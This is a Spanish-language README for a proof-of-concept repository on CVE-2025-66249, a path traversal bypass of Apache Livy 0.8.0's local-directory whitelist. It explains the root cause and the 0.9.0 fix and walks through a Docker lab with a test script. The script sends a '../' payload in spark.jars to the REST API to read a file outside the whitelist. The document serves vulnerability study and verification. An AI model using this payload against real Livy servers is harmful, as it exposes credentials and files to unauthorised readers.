
Un POC para la vulnerabilidad de evasión de la lista blanca de Path Traversal en Apache Livy.
Solo con fines educativos y de investigación en seguridad. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito por escrito. → Descargo de responsabilidad completo
| Campo | Detalle |
|---|---|
| ID CVE | CVE-2025-66249 |
| Severidad | Importante (CVSS N/A — evaluación del NVD pendiente al 2026-03-15) |
| Afecta | Apache Livy 0.3.0-incubating hasta 0.8.0-incubating — solo cuando livy.file.local-dir-whitelist está configurado con un valor distinto del predeterminado |
| Corregido en | Apache Livy 0.9.0-incubating |
| CWE | CWE-22: Limitación incorrecta de una ruta a un directorio restringido ('Path Traversal') |
| Divulgado | 2026-03-12 (OSS-Sec) / 2026-03-13 (NVD) |
| Reportado por | Hiroki Egawa (descubridor) |
Un usuario autenticado con acceso a la interfaz REST o JDBC de Livy puede enviar una sesión de Spark o un trabajo por lotes con un valor de configuración de ruta de archivo diseñado para escapar de la lista blanca de directorios permitidos.
Causa raíz — Omisión de path traversal en la comprobación de la lista blanca (Session.scala)
Cuando livy.file.local-dir-whitelist está configurado, Livy 0.8.0 valida las rutas
enviadas llamando a String.startsWith() de Java sobre la ruta cruda y sin normalizar.
Esta comprobación se puede omitir usando secuencias de traversal ../:
/opt/safe-data/../sensitive/secret.txt
La cadena cruda comienza con /opt/safe-data, por lo que la comprobación se supera — pero la ruta
se resuelve a /opt/sensitive/secret.txt, que está completamente fuera del directorio
incluido en la lista blanca.
Condición de activación: La vulnerabilidad solo se puede explotar cuando
livy.file.local-dir-whitelist está configurado con un valor distinto del predeterminado (no vacío).
Si la lista blanca está vacía (el valor predeterminado), la validación de rutas se omite por completo y
el problema no se manifiesta.
Impacto: Un atacante que envía una sesión a través de la API REST de Livy puede hacer referencia a archivos locales arbitrarios en el host del servidor Livy. En un clúster de analítica compartido, esto se traduce en una posible exposición de credenciales, claves, archivos de configuración o cualquier dato legible por el usuario del proceso de Livy.
Session.scalaVulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Corregido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Ambas versiones se clonaron directamente desde el repositorio oficial de Apache Livy en GitHub usando los siguientes comandos exactos:
Repositorio: https://github.com/apache/incubator-livy
# Versión vulnerable — clonada en ./livy-0.8.0/
git clone --depth=1 --branch v0.8.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.8.0
# Versión corregida — clonada en ./livy-0.9.0/
git clone --depth=1 --branch v0.9.0-incubating \
https://github.com/apache/incubator-livy \
livy-0.9.0
| Versión | Etiqueta (tag) | Commit resuelto | Ruta local |
|---|---|---|---|
| 0.8.0-incubating | v0.8.0-incubating | 78b512658e4baf1183f2b352203ada1928d8111a | ./livy-0.8.0/ |
| 0.9.0-incubating | v0.9.0-incubating | 7215f209b25b96488189567807eaded00953a492 | ./livy-0.9.0/ |
Session.scala: Paths.get().normalize() antes de la comprobación de la lista blanca import java.io.InputStream
import java.net.{URI, URISyntaxException}
+import java.nio.file.Paths
import java.security.PrivilegedExceptionAction
+import java.util.concurrent.{Executors, LinkedBlockingQueue, ThreadFactory, ThreadPoolExecutor, TimeUnit}
import java.util.UUID
...
if (resolved.getScheme() == "file") {
// Make sure the location is whitelisted before allowing local files to be added.
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
Impacto en v0.8.0:
La comprobación startsWith sobre la cadena cruda se puede omitir con una carga útil de path traversal.
Ejemplo: si livy.file.local-dir-whitelist = /opt/safe-data
/opt/safe-data/../sensitive/secret.txt
"/opt/safe-data/../sensitive/secret.txt".startsWith("/opt/safe-data") → true (omitida)Paths.get("/opt/safe-data/../sensitive/secret.txt").normalize → /opt/sensitive/secret.txt
/opt/sensitive/secret.txt.startsWith(/opt/safe-data) → false (bloqueada)Los diffs se generaron clonando ambas etiquetas localmente (ver arriba) y ejecutando:
diff -u \
livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
Atacante (usuario autenticado REST/JDBC)
│
▼
POST /sessions
{
"conf": {
"spark.jars": "file:///opt/safe-data/../sensitive/secret.txt"
← la ruta comienza con el prefijo de la lista blanca — String.startsWith() se supera
← pero se resuelve FUERA del directorio mediante traversal ../
}
}
│
▼
Livy 0.8.0 — comprobación de lista blanca omitida (startsWith crudo, sin normalización)
│
▼
Spark lee el archivo y lo distribuye a los ejecutores
│
▼
El atacante recupera el contenido del archivo mediante la salida del trabajo / los registros
Todos los pasos de este PoC se ejecutaron y validaron en el siguiente sistema:
| Componente | Detalle |
|---|---|
| SO del host | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Arquitectura | x86_64 |
| Memoria total | 15 GiB |
| Motor Docker | 28.2.2 |
| JDK del host | OpenJDK 17.0.18 (usado solo por el host — los contenedores usan eclipse-temurin:11-jdk-focal) |
| Imagen base del contenedor | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Versión de Spark (ambas imágenes) | 3.1.3 con Hadoop 3.2 |
| Versión de Livy — imagen vulnerable | 0.8.0-incubating |
| Versión de Livy — imagen corregida | 0.9.0-incubating |
CVE-2025-66249-POC/
├── docker/
│ ├── fixed/
│ │ ├── Dockerfile
│ │ ├── livy.conf
│ │ └── start.sh
│ └── vulnerable/
│ ├── Dockerfile
│ ├── livy.conf
│ └── start.sh
├── test/
│ └── validate.sh
├── .gitignore
├── LICENSE
└── README.md
docker/vulnerable/ → imagen: cve-2025-66249-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → imagen: cve-2025-66249-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → un solo script, ejecutado sin cambios contra ambos entornos
Secuencia completa de principio a fin — siga los pasos 1 a 4 en orden:
Paso 1: Construir imagen vulnerable → iniciar contenedor → verificar que Livy esté activo
Paso 2: Ejecutar validate.sh → confirmar VULNERABLE (ataque HTTP 201) → detener contenedor
Paso 3: Construir imagen corregida → iniciar contenedor → verificar que Livy esté activo
Paso 4: Ejecutar validate.sh → confirmar CORREGIDO (ataque HTTP 400) → detener contenedor
Nota: Livy tarda aproximadamente entre 15 y 20 segundos en estar listo después de
docker run. Todos los pasos siguientes incluyen unsleep 20explícito antes de cualquier llamada a la API.
Archivos:
docker/vulnerable/Dockerfile — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubatingdocker/vulnerable/livy.conf — se vincula a 0.0.0.0:8998, modo local, lista blanca = /opt/safe-data1a. Construir la imagen:
docker build -t cve-2025-66249-vulnerable docker/vulnerable/
Validación — la imagen fue creada:
docker images cve-2025-66249-vulnerable
Salida esperada:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-vulnerable latest <id> <time> <size>
1b. Iniciar el contenedor:
docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-66249-vulnerable
Validación — el contenedor está en ejecución:
docker ps --filter name=livy-vulnerable
Salida esperada:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-vulnerable "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-vulnerable
1c. Esperar a que Livy se inicie y luego verificar la API REST:
Livy requiere entre 15 y 20 segundos aprox. para inicializarse antes de atender solicitudes.
sleep 20
curl -s http://localhost:8998/sessions
Salida esperada:
{"from":0,"total":0,"sessions":[]}
1d. Validar la estructura de directorios dentro del contenedor:
Confirme que el archivo seguro incluido en la lista blanca existe:
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Salida esperada:
This file lives inside the whitelisted directory.
Confirme que el archivo sensible existe fuera de la lista blanca:
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Salida esperada:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
El contenedor vulnerable del Paso 1 debe seguir en ejecución en el puerto 8998.
Qué prueba test/validate.sh:
| # | Ataque | Clave de la carga útil | Resultado esperado en Livy 0.8.0 |
|---|---|---|---|
| 1 | Path traversal mediante String.startsWith() en Session.scala | spark.jars con traversal ../ | HTTP 201 — el traversal omite la lista blanca |
2a. Ejecutar el script:
bash test/validate.sh
Nota:
validate.shfunciona de la siguiente manera:
- Hace sondeos de
GET /sessionshasta que Livy responde (hasta 60 segundos), confirmando que el servidor está listo.- Envía una solicitud
POST /sessionsmediantecurlcon una carga útilconfdiseñada para apuntar a un archivo fuera de la lista blanca (/opt/sensitive/secret.txt) usando traversal../.- Lee el código de respuesta HTTP: 201 significa que Livy aceptó la ruta sin normalización (vulnerable); 400 significa que Livy la rechazó después de la normalización (corregido).
- Si se creó una sesión (HTTP 201), el script la elimina inmediatamente mediante
DELETE /sessions/{id}para mantener el servidor limpio.- Después de la prueba, imprime un resumen y sale con el código 1 (vulnerable) o 0 (corregido), lo que lo hace adecuado para su uso en canalizaciones automatizadas.
Salida esperada:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201
RESPONSE : {"id":<session_id>,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201).
Path was NOT normalised — traversal bypasses whitelist check.
RESULT: VULNERABLE — exit code 1
2b. Detener y eliminar el contenedor vulnerable:
docker stop livy-vulnerable && docker rm livy-vulnerable
Validación — el contenedor se eliminó por completo:
docker ps -a --filter name=livy-vulnerable
Salida esperada (vacía — sin filas):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Archivos:
docker/fixed/Dockerfile — misma imagen base y Spark 3.1.3, solo cambia la versión de Livy a 0.9.0-incubatingdocker/fixed/livy.conf — idéntico a docker/vulnerable/livy.conf (misma lista blanca, puerto y modo)Mantener Spark, la imagen base y toda la configuración idénticos al Paso 1 aísla a Livy como la única variable.
3a. Construir la imagen:
docker build -t cve-2025-66249-fixed docker/fixed/
Validación — la imagen fue creada:
docker images cve-2025-66249-fixed
Salida esperada:
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-66249-fixed latest <id> <time> <size>
3b. Iniciar el contenedor:
docker run -d --name livy-fixed -p 8998:8998 cve-2025-66249-fixed
Validación — el contenedor está en ejecución:
docker ps --filter name=livy-fixed
Salida esperada:
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
<id> cve-2025-66249-fixed "/__cacert_entrypoin…" <time> ago Up X seconds 0.0.0.0:8998->8998/tcp, [::]:8998->8998/tcp livy-fixed
3c. Esperar a que Livy se inicie y luego verificar la API REST:
sleep 20
curl -s http://localhost:8998/sessions
Salida esperada:
{"from":0,"total":0,"sessions":[]}
3d. Validar la estructura de directorios dentro del contenedor:
El contenedor corregido usa los mismos elementos de prueba que el vulnerable — esto confirma que la única variable entre los dos entornos es la versión de Livy.
Confirme que el archivo seguro incluido en la lista blanca existe:
docker exec livy-fixed cat /opt/safe-data/safe.txt
Salida esperada:
This file lives inside the whitelisted directory.
Confirme que el archivo sensible existe fuera de la lista blanca:
docker exec livy-fixed cat /opt/sensitive/secret.txt
Salida esperada:
SECRET_KEY=abcdef1234567890
DB_PASSWORD=SuperSecret!
El contenedor corregido del Paso 3 debe estar en ejecución en el puerto 8998. El script es idéntico — sin cambios.
Qué cambia entre el Paso 2 y el Paso 4:
Paths.get().normalize() antes de la comprobación de la lista blanca4a. Ejecutar el script:
bash test/validate.sh
Salida esperada:
Waiting for Livy to become ready at http://localhost:8998 (timeout 60s)...
Livy is ready.
TEST : Path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path normalisation blocked the traversal.
RESULT: FIXED — exit code 0
Qué confirma el mensaje de error:
| Ataque | HTTP | Mensaje de error | Causa raíz corregida |
|---|---|---|---|
Path traversal mediante spark.jars | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Se añadió Paths.get(...).normalize() en Session.scala; resuelve ../ antes de la comparación con la lista blanca |
4b. Detener y eliminar el contenedor corregido:
docker stop livy-fixed && docker rm livy-fixed
Validación — el contenedor se eliminó por completo:
docker ps -a --filter name=livy-fixed
Salida esperada (vacía — sin filas):
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
CVE-2025-66249 es un único fallo lógico y específico en la aplicación de la lista blanca que protege la ruta de acceso al sistema de archivos local de Livy.
La lista blanca (livy.file.local-dir-whitelist) existía en todas las versiones afectadas
y estaba configurada correctamente. El fallo estaba en cómo se evaluaba la lista blanca:
Omisión de path traversal (la única debilidad): La comparación de la lista blanca en
Session.scala usaba String.startsWith() de Java sobre la cadena de ruta cruda. Esto es
insuficiente para comparaciones de rutas de archivos porque no tiene en cuenta los segmentos
de traversal ... Una ruta como /opt/safe-data/../sensitive/secret.txt
satisface la comprobación de cadena contra la entrada de la lista blanca /opt/safe-data y, sin embargo,
se resuelve a una ubicación completamente fuera de ella.
La corrección en 0.9.0 es mínima y específica: se añade una llamada a Paths.get().normalize() antes
de la comparación con la lista blanca. Esto resuelve todos los segmentos .. antes de que se ejecute
la comprobación startsWith, por lo que la carga útil de traversal se identifica correctamente como
una ruta que apunta fuera del directorio permitido.
Conclusión clave para los defensores: La vulnerabilidad solo es explotable cuando
livy.file.local-dir-whitelist está configurado con un valor no vacío. Si bien esto significa que la
configuración predeterminada no es directamente vulnerable, cualquier implementación que haya endurecido la
lista blanca (es decir, que haya restringido explícitamente los directorios a los que Livy puede acceder) es,
paradójicamente, la que queda expuesta — porque es la presencia de la lista blanca la que activa la ruta de
código defectuosa. Actualizar a Livy 0.9.0-incubating es la única remediación completa.
¡Las contribuciones para mejorar este PoC o la documentación son bienvenidas! Asegúrese de que cualquier contribución:
Para contribuir, abra un pull request o reporte un problema (issue) describiendo el cambio propuesto.
Este proyecto está licenciado bajo la Licencia MIT.
Este repositorio es solo para fines educativos y de investigación en seguridad. La prueba de concepto demuestra la mecánica de la vulnerabilidad para ayudar a la comprensión y a las medidas defensivas. No lo utilice contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito por escrito.
cve-2025-66249 apache-livy path-traversal whitelist-bypass
cwe-22 improper-path-restriction livy-0.8.0 livy-0.9.0
security-research proof-of-concept docker java scala
vulnerability-analysis rest-api-security string-startswith-bypass
path-normalisation